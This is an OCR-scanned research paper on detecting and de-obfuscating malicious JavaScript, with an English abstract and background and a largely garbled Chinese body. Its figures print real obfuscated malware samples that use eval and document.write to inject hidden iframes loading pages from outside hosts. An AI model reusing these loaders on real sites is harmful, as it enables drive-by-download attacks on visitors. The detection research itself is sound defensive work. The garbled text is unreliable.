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Abstract  Obfuscated malicious JavaScript code is very difficult to be detected and to be de-obfuscated.
How to effectively and efficiently detect and de-obfuscate obfuscated malicious JavaScript code is
thus an emerging and crucial issue. In order to dealing with the issue, in this paper, we analyze
in-depth a big number of static outer and dynamic inner features of obfuscation, and accordingly
extract effective static and dynamic features from obfuscation. A prototype system for the detection
of obfuscation based on anomaly detection techniques and for the de-obfuscation based on variable
analysis is designed, which combines static analysis and dynamic analysis of JavaScript codes.
Static analysis is used mainly for the detection of obfuscated malicious JavaScript code while
dynamic analysis is used for the de-obfuscation. In static analysis, only benign samples are used in
training phase. Three machine learning algorithms are employed, namely, Principal Component
Analysis (PCA), One-Class Support Vector Machine (OCSVM) and K-Nearest Neighbor (K-NN) ,
to detect the obfuscation of malicious JavaScript code. In dynamic analysis, two steps are
followed. Nodes of JavaScript Abstract Syntax Tree (AST) are first tracked and the related
variable final values associated with the node types are then used to de-obfuscate. 80574

JavaScript-based pages are collected in a real network environment for validating our methods.
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Extensive experimental results demonstrate that our approach is effective. In particular, PCA

achieves a detection rate as 99. 90% with a false positive rate as 0. 1% for detecting obfuscation.

Meanwhile, our de-obfuscation approach automatically de-obfuscates obfuscations with accuracy

of more than 80%.
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MT o 30 5 20 24 R UL TR VA HOR IR E T E R
BIAIR B AR AT IR A 52 A 40 20 A 3R B A
AR DU AR AIE o DA 35 T 8 A ) M A A 0 0 S TR I
Ik,
5.1 ERBEBEEAFTENEBERBEFES T RIZEK
£t %) JavaScript, # WHTTR B ARE

(1) fm A BEBL A 545 5 5 5 48RS T B TG 56 1Y 72
JPERE. X PP H AR IR YE 1) JavaScript AR5 AT 352 24
MR 2% ARAS B R R AR 4% AL, B P AR M B 4 4R A G R
JPiEa]. B E 1 R AR,

1 TSppX="i";/*mDwZxc4dHDwcN5RXxB*/

2 Y365YB="{";/*FGDG56fght*/Cnmbz="rame';/*t7DTx7*/

3 AcZACGEK=T5ppX+Y365YB+Cnmbz;/*Zei3iAdZ4ncK*/Zei3iA="src';
4 BBPhDeJ="htt';/* AWxW4BHhAHsyT65Cfe*/

5 P='p";/*AHy3nsEKpQ7pt*/MXyG2MQ="//";

6 STHSEZzFW="www';//eWFGPixreBWCaN6w/*TfdY Emw4rhfWHmw*/
7 /*TrFKCmw*/Mat3Kyf='dt';/*wojEINFEIN*/y43eXP8G="butdt';

8 C3MhXQH265sP=T5ppX+Y365YB+Cnmbz;//4a8E5YArcth

9 nQyT46QH='<"+/*moeWEMDO09*/C3MhXQH265sP+/*weonfien*/""
10 +Zei3iA+/*959reivm*/'="+"""+BBPhDeJ+P+

11 /*BBBBB*/"://'"+STHSEZzZFW+'."+y43eXP8G+Mat3Kyf+

12 "'/*PEOVNI9ahen*/+'com'+""+'>'+'</'+

13 C3MhXQH265sP+">";/*KrTeGXP8*/

14 /*ASDFKAS;FKSD;KUJRIBN*/document.write(nQyT46QH);

K1 FIAREYL AT HR IR ¥ JavaScript LR

K1 A &= AR 2 ) ] document. write J5
TR — W DU T A . AR T R E W BE AL
TREE A B R RELE P 4. X A R B 2
Joi A 4 AR bW 2 3 1Y 58 Y b ik SR S T E
nQyT46QH 78 & (1 4 . A% — B2 17 % & 7L
T A0 23 B3 00 48 21 1T P 24 i) B8 A% Y B . X A
TR VE AR 1 — > B I i i S R R 2 B 1 2 B AL
TG B A5 Hf L 2l 25 R AR 2% B0 A 00 2 AR a2
document.write J5 S8 A& AE.

2) BAE IR, RIAUHS il — Lo A8 B | ok Bk
I 24 A VLI — A AN A 44 AR JE S B i n 1 2
i s AR

ps="split";e=eval;v="0x";a=0;z="y";
try{a*=25}

catch(zz){a=1}if(la)
{try{--e("doc"+"ument")["\x620d"+z]}
catch(q){a2="_";sa=0xa-02;}
z="28 6e_7d_76 6b_45 28
[ps](a2);za="";for(i=0;i<z.length;i++)
{

za+=String["fromCharCode"]
(e(v+(z[i]))-sa);} zaz=za; e (zaz);

B 2 FIHEAREIRE JavaScript {45

M 2 thrl DLE Y split F ps A0 seval [ e fR
B E BRI R RE AT e(zaz) S8 L. X PR
BB — ] B SRR & B A B2 1 F AT Ak 2
PRBCRI BRI eval pREL. 2h 25 R AE 26 90 76 % 2 A 1Y
AN T R S LA zaz 28 B A(E AN
El 3 B,
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function zzzfff() {
var sqql = document.createElement('iframe');
sqql.src = 'http://pinkcontact.net/esd.php';
sqql.style.position = 'absolute';
sqql.style.border ='0";
sqql.style.height ="1px";
sqql.style.width ="1px";
sqql.style.left ="1px";
sqql.style.top ="'1px';
if (!document.getElementBylId('sqql")) {
document.write('<div id=\"sqql\'></div>");
document.getElementByld('sqql").appendChild(sqql);
}}
Bl 3 zaz BHEIAHE
M3 Hal LB R L AU Y 2 AR 2 i i
document.CreateElement J7EE#x A T — 2% 2 T H.
(3) % TR ¥ . BD 4 ASCII/Unicode/Hexa-
decimal/base64 Z& %415 & JavaScript {15 Hh 38 4
TR SR IR 4 Frs AU,
try {1-prototype;}catch(asd) {x=2;}
if(x) {fr="fromChar";
f=[4,0,91,108,100, ... ,4,98,56,90,89,50,3,—1];
v="eva";
if(v)e=window[v+"1"];
w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;
for(i=0;291-5+5-i>0;i+=1)
{j=i:if(e) s=s+r[zx]((w[j]*1+(9+e("j%3")))):}
if(x&&f&&012===10)
e( s );

4 FFT ASCI 4T iR 1 JavaScript 4R

4 FE R AR B G B R IR — B R T
1 AR P AR B s IZE 5 B 3 280 ARG R
JN I B A e W AW I S e S oD O VAN )
ASCII 5 (A% 8 £) P38 28 7 A G A5 2% 460 ok $50KF L
B N W AT, B 5 WA 25 A8 i s Il A B AR
eval J& B RREL e SR HAT. 3 AR W AR A — 4~ B
TSR IE R LA K B ) R L U, sh SRR IE 78
AR A v 1 A B AR R B S S A

() FAF B HALRIRWE s X PR WE 8 R 2k
TR HER T — 8L FA R R)5E
BRI A AR DA B 2 AT H e R IO R PR A A —
. B E S RS,

.
5

var t=
var arr="646f63756d656e742¢ ... 7772697465283¢c6";
for(i=0;i<arr.length;i+=2)
t+=String.fromCharCode(parselnt(arr[i]+arr[i+1],16));
eval(t);

B 5 RIS AT B T 2L IR R JavaScript fU 15

B 5 it s A8 ) B8 J& A document. write %
A T U L T A U AR TR S A
AEART IR 30, 5 i i 2o 72 5 o Py R SE B X R R
B AUHS 1 — A B B S AR AR B B B A R A
eval BREL. SIS FHAE R UL eval R 8102 44 Lt
s AU,

ity B L X BB IR VE T 15 BE AT LA — s A
— A L n] LATR S Gk AU — S [ el A

5.2 BERIAF4HWEBERBEBESHTRER
J TR AR AR KA, ik R IR B
T H R AR LA 8] % 1 5 e B R e DL TR
B T HAFIE A At — A T4 A TAE.
XF 10 FELIRE THM A0 C, B a5 e ik
W ARES AMETE X b SR TT 7o =250 ik OB X =
ARV RS 2 PR IR E A 25 A A CIRVE LS 2
BB ARG A2 A Co AR SC LA TR — 4~ % AR A O
document. write J5 % 8 ACE B 01D A 4], 3 FIRE R
TUARASTE 235 38 4 A 43 7 L 141 6., 181 7 FIEL 8 I,

eval(function (p,a,c,k,e,r){e=function(c)

{return c.toString(a)}; if(!".replace(/""/,String))
{while(c--)r[e(c)]=k[c]|le(c);k=[function(e){return r[e]}];
e=function() {return'\\w-+'}; c=1}; while (c--)

if (k[c])p=p.replace (new RegExp ("\\b'+e(c)+'\\b','g"), k[c]);
return p}('6.8(\'<1 3="4" 5="0" 7="0" 2="0" 9="0"
\na="b://c.d/e/f.g"/1>\");',17,17,"iframe|border|scrolling|no|width|
document|height|write|frameborder|src|hxxp|43kayliajeu|xxx 1]
kqxleqjpcoh8|php'.split('['),0,{}))

M6 RIFEIIGER A

var _0x447a=["\x3C\x69\x66\x 72\x61\x6D\x 65\x 20\x73\x63\
x72\x6F\x6C\x 6C\x69\X6E\x67\x3D\x 22\x6E \x6 F\x22\x 20
\x77\x69\x64\x 74\x 68\x3D\x22\x30\x 22\x 20\x 68 \X 6 5\x 69\
x67\x68\x74\x3D\x22\x30\x22\x20\x62\x 6F\x72\x64\x65\
x72\x3D\x22\x30\x22\x20\x66\x72\x6 1\x 6D\x65\x62\x 6 F\
x72\x64\x65\x72\x3D\x22\x30\x22\x20'\x 73\x 72\x63\x3D\
x22\x68\x78\x78\x 70\x 3A \x2F \x2F\x 34\x 33\x6B\x6 1\x 79\
x6C\x69\x61\x2E\x65\x75\x2F \x78\x 78\x 78\x3 1\x2F \x 6 B\
x71\x78\x6C\x65\x 71\x6A \x70\x63\x 6F\x 68\x38\x2 E\x 70\
x68\x70\x22\x20\x2F\x 69\x66\x72\x6 1 \x 6D\x65\x3E","\x 77
\X72\x69\x74\x65"];

document[ 0x447a[1]](_0x447a[0])

B 7 RIEAUS R B

window["\x64\x6£\x63\x75\x6d\x 65\x6¢\x74"]
["\x77\x72\x69\x74\x65"]("\x3 c\x 69\x 66\x72\x6 1 \x6d\x 65\
x73\x72\x63\x3d\x 68\x 74\x74\x70\x3a\x2 f\x 2f\x 6b\x 38\
x38\x38\x2e\x69\x6c\x 69\x6b\x65\x38\x38\x 3 8\x 2e\x 6\
x72\x67\x3a\x38\x38\x 34\x33\x2f\x47\x77\x 4e\x 32\x2f\
X69\x6e\x64'\x65\x 78\x 2e\x68\x 74\x6d\x6c\x 3f\x31\x 77\
x69\x64\x74\x68\x3d\x31\x30\x30 \x68\x65\x69\x 6 7\x 68\
x74x3d\x30\x3e\x3c\x2fix 69\x66\x72\x61\x6d\x 65\x3e");

B 8 RERHAR C

MW 6 0] LIFE . IREE RIS N IR B2
— M eval REL.MIZEBEHSHLE—NEZE
B % B 24 oR BOS 6 N 2 DR A 0 % AR . R i

@ (1) http://www. obfuscator. ro/en/

(2) http://www. jsobfuscate. com/index. php

(3) http://packer. 50x. eu/

(4) http://www. daftlogic. com/projects-online-javascript-
obfuscator. htm

(5) http://open. tool. chinaz. com/hdsojso. htm

(6) http://obfuscator.online-toolz.com/ tools/javascript-obfus-
cator. php

(7) http://www. 3464, com/tools/jscodeconfusion/

(8) http://www.javascriptobfuscator.com/Javascript-Obfus-
cator. aspx

(9) http://jsbeautifier. org/

(10) http://www. jsnice. org/
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L
&

B 40 RN B AR B B — A W e i &
2 D ok A B AR, X 2 ) A B AT O
fiE o WY S R S AR AR R B B 2 1 5 AT AL AR O
e N 7 T 8 vT LA H L AR A X
i eval Il document.write 28 PR EL ik (HE 7 h
#rBE_0x447al 0 28 Hin 11 W32 2 (B 3 02 Jt >k 1)
R, ORI ACRS B B 1 B AT N RRAE L B
SRIERBAES KRR T 6T B 8 ok
Ut B A B35 5 1) F A BT — A =S
B2 D322 2B 2 T ok 1) 2% F A

Bl bR R RN B L AR R TR Y
A5 53 B & BIR VE A RS B A a0 35 g 1 A A
(D ARHS o 5 4% b BRAH OC 82 A 3 5 Th REAH
K R EECT VR Y R (2) A b B A K
FATH ) H R 5 (3) AAD b B Y R R
FF Ef EL R A T\ x5 () FRAT Hp {2308 55 B B -
A £ Y LU 3R . TR VA A i o g ) S R AR R
LA TR B 52 2 B B PAT T i 2 8 B T R 8
FEAFAF HR A AR 1 ZAE 1T =X B
5.3 KMERBEBEAERERRSIEIT

FR A b3 23 BT o AS SCHE S B A 5 ROTR VB T
EH IO SR T S AR A L TR A ST R A L Bl A
A 23 A &5 SR 0 5 0 B S5 LR o3 A A D B e
IRVE RSB R B S BRI 9 T, 4% 1 B Ty g
S S WL

L]
i :
e ;

JavaScript
— e R4 15 58
R R — | B i
|
! Wik | V|| mmEs e
| ]
| A |
P ! ! f
| ]
| B A R i BRI | &
|
| ]
oI T T T T T T I T T TS D‘l‘ﬂ 7 lj.l}\
! r ! i e
! kI | | || |
e |
i i ! f *
s !
iﬁw B e ASTVE RS
l & !
[ I | e
\_/

B9 A5 SR E R G4 oR B

5.4 WMEBBENAE

R T A JE A R 45 %) JavaScript fl DOM J7
12 ) I BT R 8 SCHR IR S AS SCRL A S i A 0 5
#r Spynner fEN RGN E 477 & . Spynner & #5 -
£ Python i) — R, & — A A 4 #2915
AT HEAT O R JT IR N S AR T PyQT
Fl WebKit, X} JavaScript, Flash, JQuery. AJAX %
BAT 8 ) SR, U2 $E 4t JavaScript 1Y R4
s HAE .

B A T Y PTCA A A H 2 AT Spyniner DL
77 U5 18] W 5T I 2R R0 5T A Y 42 HTML 4G
iy, A% 73 B d A HE K HTML iy JavaScript {4
fith 4 B ok

A 2 B v A RD I 43 B J2 4 JavaScript A%
HEAT IRV AR AT L AS SORE A BT S5 09 3R] 85 BT AR Ol AR
i) 3 BUR AR R AR Ak D 3 N ER A BUAR R

EXRHETRES HES BUES FMESE A
. Hotp B HrnE R Z N FEA L B JavaScript {0
) SR RS S AT 5. F AR OC R R 2 0 FRAE R 8
B JavaScript 1& 7 # % W5 74 46 B A1 5 45 g
s AF G %) PN oR B v A G B R4 E ROt R
W Z Jy 88 4R] . B PE (Portable Executable) 3¢ {2
G4 W JE cexe, .com, .bat,
.ocx Al wsi.

T Vil AT SR AR 500 . £ G B I JavaScript
PR OGBS L ST S JEURE AR B 5 R AR 1) R Y R
LR kA d U H S A A A
SIASRAT I REAY oK K % BT 44 IR DR B L AR S
F iy e 5 FRAE 1A o 9 B0 ] number AU 5 FRAE
i) TP A ER R R 0 A [ R R Al Dy AN Ta] 1
AR BN BE/N T4 T 10 BT ste0 AR K BE R
F 10 H/NFEE T 100 M strl AQ8, R 745 5
DL A

SRR AR B 0, LR VE 23 M S R R AR 3R 4 A VR
RE 1] 5 BAABBRANE

W V= (X, X, X R BATUH B AR
FIE 3] 4 B0 A S B o . N Dy AR A 1) A A%

{Xili=1,2, -+, N} 2y —A> 50 i o A5 Ak 3]
AR 0. DU B T R A% R L 3] I o LG AE A

R(X) = X/P.

B POy — A SO A AL A A R

L D) ERAS BT B AR 1) 2
S=(R(X),R(Xy) ", R(Xy)).

FEASE TR e N7 SRS ) r 0 TR VA R T 8 A e, L S

Jot 2 — A HOHAE 547 R B 2470 25 A 58 53 2R A6

.vbs, .dll, .sys.
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i 0 T S5 AR T SR AR T

W B=1{by,by s+ 3b; s =30, ) o om Sy HIE
AT RS CGE# SUIHD B8R, 0 Hh 8 @ A~ IE
WATHEAE. K F,., 308 B IR AERRE . Hrp o R
71 DA HR B SRS 8 A D R L S B8, e S IR T 3 A A
BB B T= (1 sty 5o sty oo 5 1,) F N TR MAT B e
FRRFAIE ] L B KRB ©(F,, ., T) < F,, ., X T
{d} B Thr HFIEVE R FEABIME A d>Thr, N
NI 5 W AT B S 2 I S E AT O B
ARk PE PCA ., one-class SVM F1 K-NN 1E h ¥
IR ) P B R A LR S I A LA ST
TAE™.

5.5 RIBEFAE

TE A 43 B v 500 A N7 KRS T 9 4 52 SN TR
W ARSI . Bl 285 0 BT 78 43 DU 5 BSTR WS F TD BE L 3X Al
I AR JavaScript A4 (9 3 847 B FFAE. I 13X
Hok 22 B W AR 19 3l 25 AT S R AE 23 B RT 0L TR VR
AR w1 T AT O 2 AR B A 0 T8 X B ik
& UL AR UZ A7 S AR Hh AR i 2 2 SOR W I — 1K
S L PR IR AT A B R A A TR VA A Y
A i, LRSI AT 5 i AR i 2.

Ay AST (Abstract Syntax Tree) 4E
S A R VA JavaScript fARS A AST . AST 95 fid
VAR E M. X R A5 AR AR
AR RO AR Y E AR AR AT A2 AST Y3 2
H, AST A= B 23 K AR o 119 13 R L 25 4 R4 A7 4
SEARTR R B A LR AST & — B A6 2 4
W7 R G 2% B A O AR AR I Gt SO W A — 1
AR O SR O B AL A H J7 25 TR VA A AR ]
PLHEAT A 800 SRV

SEETRYE I JavaScript UG 3h 47T MR AE
Ji def ) 2 AR 8 2 LA AR B A 10 T X B ok 2
R FEEDEAN KB LS BT ENS
B T R B A & R AT T B A
TE$E OB AE 3 [) AST By A 757 s 19 3 % rp sl 75 22
6 T RO AR ) 2R B PR Ry A R R TR
VB T 1A S PR 9 3 S 90 4 R BSOE SO IE 2. AR iR
J3 AST 5 g B2 o 25 35 R 2R AL — AN I T 1 oF
Bl ok B — U SO — A2 R AR AL
TR ARSI R R BR.

AR AL PR AST rp ) 4 19 Y 24 RS
R0 SN R IFA% 3 45 POIR MR R B, SOIR VA B AR
T SRR B A A AR LR AR O R DL AR
SCHYRTHA TR ROR W S R iR,

ikl JETAERITRY SORE R E.
i\ : JavaScript AST

kv H . JavaScript code

WHILE(AST node is not null)

{Tracing AST node

IF(node type is a invoked function) THEN

=~ w o=

New_parameter=all parameter of the function
Value = Get_Final_Value( New_parameter)

IF (node type is a method) THEN
New_parameter=all parameter of the method
Value = Get_Final_Value (New_parameter)
ELSEIF(node type is an Array) THEN

10. Value = Get_Final_Value (every element of Array)
11. ELSEIF (node type is a HexString) THEN

© [e2) ~ (=2} ol

12. New_parameter= HexString

13. Value =Get_Final_Value (New_parameter)
14. ELSEIF(node type is a variable) THEN
15. Value = Get_Final_Value (variable_name)
16. ENDIF

17. Return Value}

283 B SOIR W TR L B A R 2 T Y
P46 8 5 JavaScript FURS AL 2 5 B k.

6 KWHERRIH

AR 3L LB B E - 6 O Intel SRR RS AT
3G BT B g FE 52 LR BE Oy Python, B4
PO S IR V8 4k T Python H i) Spynner £
Spynner BN 25T PyQT Ml WebKit, 58 4 7 £f
JavaScript.Flash.JQuery . AJAX ZE A, & — 1]
g F N St T I = e O U R P oA i
JavaScript 19 g 2 28 B4 1, X 0] i A1 7E 8h &
Br 0 2k B v s i 22 Fh 8 € i 2 RE.

6.1 LIGHEIBIMER

A ST — A SOBE & AR — > U N I 4
#8 JavaScript R85 K Alexa® 234 (1 HE 2 35 A Ay
SR TE W T3ty o b DA 3 2 Y 3 3R B JavaSeript £{
fih g SR IEH 17 A . # Malwaredomains® 23 7
) P sl TN A 2 I kDR R A AR O
JavaScript fCHS HA LT 9 B 3 & FFAE - B DL FE
()77 S A iframe FR%5 | DL BRGE 9 77 X 51 FH 3040 H
AR Y J7 2R T RRAE p6 2 LA B i O e X
BRI L BRI 1 2 B O U g L e i b B
BER H 9 e SO 4 L 7% i (B A JRE 35 R FD 72

@ http://www. alexa. com/topsites
©@  http://www. malwaredomains. com
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E

(B AL 5 A SRR L A DR i AR D S AT O B
P FIH 6 A2 1 R T 80 574 AN R
fi. HEH N 200 000 A IE 3k 1 H I 2 80 000 2%
TEH AT B - A 30000 A>3 Bl s P iR 574 %
SEAT B, LR T AR A 574 A AT L
B AN BEALZE L 1000 A TE AT o B8 1 D I 34000
AR BB A D I G580 - 4T 10 48 58 SRR IE. 5
BRE WAL 1.

x1 ZWHESE
R Ei Bt LioRUIR=RES BURERA €/ B
ERHS 79000 PCA 1E 5 RS B 1574
TE % B 79000 OCSVM TE B S BoE 1574
ERHIE 79000 K-NN S 1574
S 25 B4 P A ER 43 o A S B 98 MR AR

B A RGN & 2l 285 0 A 56 O R V8 AURS ) ST IR . XHR
VB A ARSI ) S 36 45 2R I35 2 P, Ho o g szl
A RIS H AT RO T ORI O S AT D RO
O B O RAR R L BIVIE B AT D B WA I i e AT
O AN 3R N T 5 Sy B A I T )

x2 BERNER
K 5 a/% B/ % K /s
PCA 99. 90 0.1 250
OCSVM 99.0 0.2 300
K-NN 95.0 0.2 55

M 2 AT LUE 3 BRI W A #R A 1R
U ARG I 2R, K-NIN B 3k 4G o 52 12 F PCA AN
One-Class SVM,{HABSR ] 35 55 s ', B 10 R K
054 1 S 3 L) R R R e S R
AT O 0 D B8 BE B LA R AR bR H X R I X AR
P REAS IR AR R X g I 3 5 A 1 O B IR . K
I8 O % B B B0 7 5 90 S R T (DB R L R
BHE A S AT R B T RE R RO AL 10 HraT LA
A IR AT ORI A S AT 0 B B A BB R

3500

3000 ¢

25001

2000
]

1500+

1000+

500

Il \A
SIQIO 1000 1200 1400 1600

00 200 400 600

10 Ko e B X ke

R DX 3T I A S 2 T v AR B A I
I 2 AR A RO AL

SRy YR T X A AN 7  FRATTH A SR I YR
BRI )77k 5 Likarish % A™ | Jodavi % AM
Choi £ \"*1 F1 Visaggio & A" AG TR ¥E JavaSeript
RS 7 1 AT T X b &3 SR L 7F B o 0k 48 AR
1, Entropy J2& K i 55 S 5 i ) — 1~ ROC(Receiver
Operating Characteristic Curve) 4&— Fl ] & £ 1 2%
RETE VLA b B A X SRR R R W Y KR
R 2. P 11 AR SCH i O R i PCAR2Y
K-NNPYF1 One-class SVMPP 2008 v 5 [ikarish £¢
AN Jodavi %8 AN H Entropy #F 47 4 Il i) ROC
BT EL A

1.00
0.95
0.90
0.85

5 080 '

=0.75

€010 :
0.651f
0.60
055

1~ L
0..700 0.02

——PCA

—e— Entropy

0.06  0.08

PEiEd
K 2% S 1) ROC % kb

0.04

11

I 11 0] U o A SCR FH Y 3 i 4307 A6 0 45
TRARA T At AH OC B R I 25 R L A R A
PCA Bk, 46 0 25 54 B 0 44, 3 i B R A1) 42
H PG R Y AR 3 S — R B A B S I T 1k

Xt F RARVE » H A I8 A B 8% B B0 B
PR AR UE DR AT K 1R R 4 TR V8 AR A 42 28 A [R] 1Y
SRS T H AT ROR W - N TS RORIE Ja i A,
T HERR R B Y AT RO TR RS AT T
10 FPRIRE THEL(O ~ 0. (A1) ~ U8V HEA
A3AT T K S8 RO VE TEL 1 T RE RURE A O X s R
RE T HIT R (LR 3. B & T IR EH
RIEGF SRS TEL(9) ~(10), (11) ~ (12) ]

@ (11) http://www. patzcatz. com/unescape. htm

(12) http://www. danstools. com/javascript-beautify/

(13) http://www. strictly-software. com/unpacker

(14) http://dean. edwards. name/packer/

(15) http://www. kahusecurity. com/2012/revelo-javascript-
deobfuscator/

(16) https://developer. mozilla. org/en-US/docs/ Archive/
Mozilla/ Venkman

(17) https://addons. mozilla. org/en-US/firefox/addon/javas-
cript-deobfuscator

(18) https://developer. mozilla. org/en-us/docs/Mozilla/
projects/spidermonkey
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FUR R VA AR 7 A7 4% QOB L ] s B i — 17
FRRS 53 LAY » 2 4 — L AR AR R ALY R AZ i 44
B i R i 44 X ST B H Y R AU A X
R R B SR L ) AR o A o B AT Bl 5 A 40 A
A 2 s T VA BT A, PR sk 2 T H i SR I )
REAR A BR.

®3 REBHERI

ORI Ak BWARMEHR 28 BAC IR
[(9H~U0] X X X
[aDh~a2)] X X X
[A13)~A4D] v v X
[5H~A7] X X X

L8] v X X

A3 v v v

FORE TRL3) ~AH A RERIRE B 5 IRE
Ja B AR ARSI I8 2L 5. 2 5 A iR VA A 2
AL BRI 6 (TR VA AR A (X A g TR VA AR
WA ATAT I SR VE Dy BE. X WA ORIV T H R
RE AT X 45 5 MO TR VA AR AT SR VA
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function f(n){

var t1=n;var t2=n;var k;var s4="eval(’k=t1+t2;’);";

var s3="t1=f(t1-1);eval(s4);";var s2="t2=f(t2);eval(str3);";
var s1="if(n<2) {k=1;}

else{t2=t2-2;eval(s2);}";

eval(sl);return k;}

var x=3;var y=f(x);

print(y);

K13 KRB P
eval(function(p,a,c,k,e,d) {e=function(c) {returnc};
if(!".replace(/*/,String)) {while(c--)
{d[c]=k[c]||c} k=[function(e){returnd[e]}];
e=function() {return’\\w+"};c=1};while(c--)
{if(k[c]){p=p.replace(newRegExp("\\b’+e(c)+"\\
b’,’g").k[c])} }return p}(*17 8(9){0 6=9;0 4=9,0 7;0
11="5(\"7=6+4;\");";0 10="6=8(6-1);5(11);";0
13="4=8(4);5(10);";015="18(9<2){7=1;}20{4=4-2;5(13);}
";5(15);19 730 14=3;012=8(14);16(12);’,10,21,
*varl|||t2|eval|t] [k[f]n|str3|strd|y|str2|x|str]
|print[function|ifireturn|else’.split(’"),0,{}))

Kl 14 PR 5D Obl
var cl=[168,183,176,165,182,171,177,176,98,168,171,164,106,171,107,189,184,
163,180,98,173,125,184,163,180,98,186,98,127,98,115,125,184,163,180,98,168,
115,98,127,98,100,168,171,164,106,100,125,184,163,180,98,168,116,98,127,98,
100,107,100,125,184,163,180,98,181,115,98,127,98,100,171,111,100,125,184,
163,180,98,181,116,98,127,98,100,186,100,125,171,168,106,171,126,116,107,
167,184,163,174,106,100,173,127,100,109,167,184,163,174,106,100,181,100,
109,106,186,108,116,107,112,182,177,149,182,180,171,176,169,106,107,107,10
7,125,167,174,181,167,189,167,184,163,174,106,100,173,127,100,109,168,115,
109,181,115,109,186,112,182,177,149,182,180,171,176,19,106,107,109,168,116
,109,100,109,100,109,168,115,109,181,115,109,106,186,108,116,107,112,182,1
77,149,182,180,171,176,169,106,107,109,168,116,107,125,191,180,167,182,183
,180,176,98,173,125,191,184,163,180,98,187,98,127,98,168,171,164,106,117,10
7,125,178,180,171,176,182,106,187,107,125];
var ii=0;var str=";’;for(ii=0;ii<cl.length;ii++)
{str+= String.fromCharCode(cl[ii]-66); }
eval(str);

15 PiREEARE Ob2

function f(arg0) {

local_var0 = arg0;local_varl=arg0;,
if((arg0<2))local_var2=1;

else {

local_varl = (local_varl-2);
local_varl = f(local_varl);
local_var0 = f((local_var0-1));
local_var2 =(local_varO+local varl);}
return local_var2;}

(x=3);(y=t(x));

print(y);

[# 16 Lu %} Obl Fl Ob2 1y R IR 1E 45 %

function f(n){

var tl=n;var t2=n;var k;var s4 = "eval(Ck=t1+t2;’);";

var s3 = "t1=f(t1-1);eval(s4);";var s2 ="t2=f(t2);eval(str3);";
var s1 ="if(n<2){k=1;}

else{t2=t2-2;eval(s2);}";

eval(sl);return k; }

var x = 3;var y = f(x);

print(y);
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He# RREdR HE4 RRIE HER RRETW HES RRET
1 id 6 window 11 replace 16 link
2 strl 7 location 12 setTimeout 17 join
3 str0 8 str2 13 parselnt 18  substr
4 number 9 createElement 14  substring 19 eval
5 document 10 write 15  unescape 20 toString
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Background

With the rapid growth of Web application and Web
service, a lot of Web sites provide service for users with
JavaScript, which can directly be executed on the Web client.
JavaScript do a great of favor for users. However, it brings a
lot of security issues to client side end users, like fishing and
drive-by-download attacks. When a remote JavaScript code is
embedded into a web page that a user is visiting, it can get
the same privileges as other code that is originally included in
the page. Malicious Web sites are often used to attack end
users with obfuscated JavaScript code.

There exists work on the detection of malicious JavaScript
code. But few work is focused on the detection of obfuscated
code. Due to the variety of obfuscation, obfuscated JavaScript
code is hard to detect and to de-obfuscate. There are still a
lot of security issues of detecting obfuscation, such as how
to effectively identify obfuscation, how to detect zero-day
attack. There are many issues for current detection of

obfuscation like high false positive rates.
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On the other hand, it is important to de-obfuscate
obfuscation. But few work exists on the de-obfuscation of
JavaScript code. De-obfuscation can provide the information
of vulnerability of program. However, very few de-obfuscated
tools are used for de-obfuscation. Current de-obfuscation
needs considerable manual work. All the current de-obfuscation
tools cannot automatically de-obfuscate the code. A few of
them are only available to specific obfuscation.

In this paper, we propose an approach to detecting and
de-obfuscating obfuscated JavaScript code. We review recent
related work on the detection of obfuscation and de-obfuscation.
We conduct extensive experiments for testing many obfuscated
tools and de-obfuscated tools. We summarize features of
those tools, and design a prototype system to detect and
de-obfuscate obfuscation. Our approach can effectively detect
obfuscation with high true positive rates and low false
positive rates. At the same time, our approach automatically

de-obfuscates most of the obfuscation.





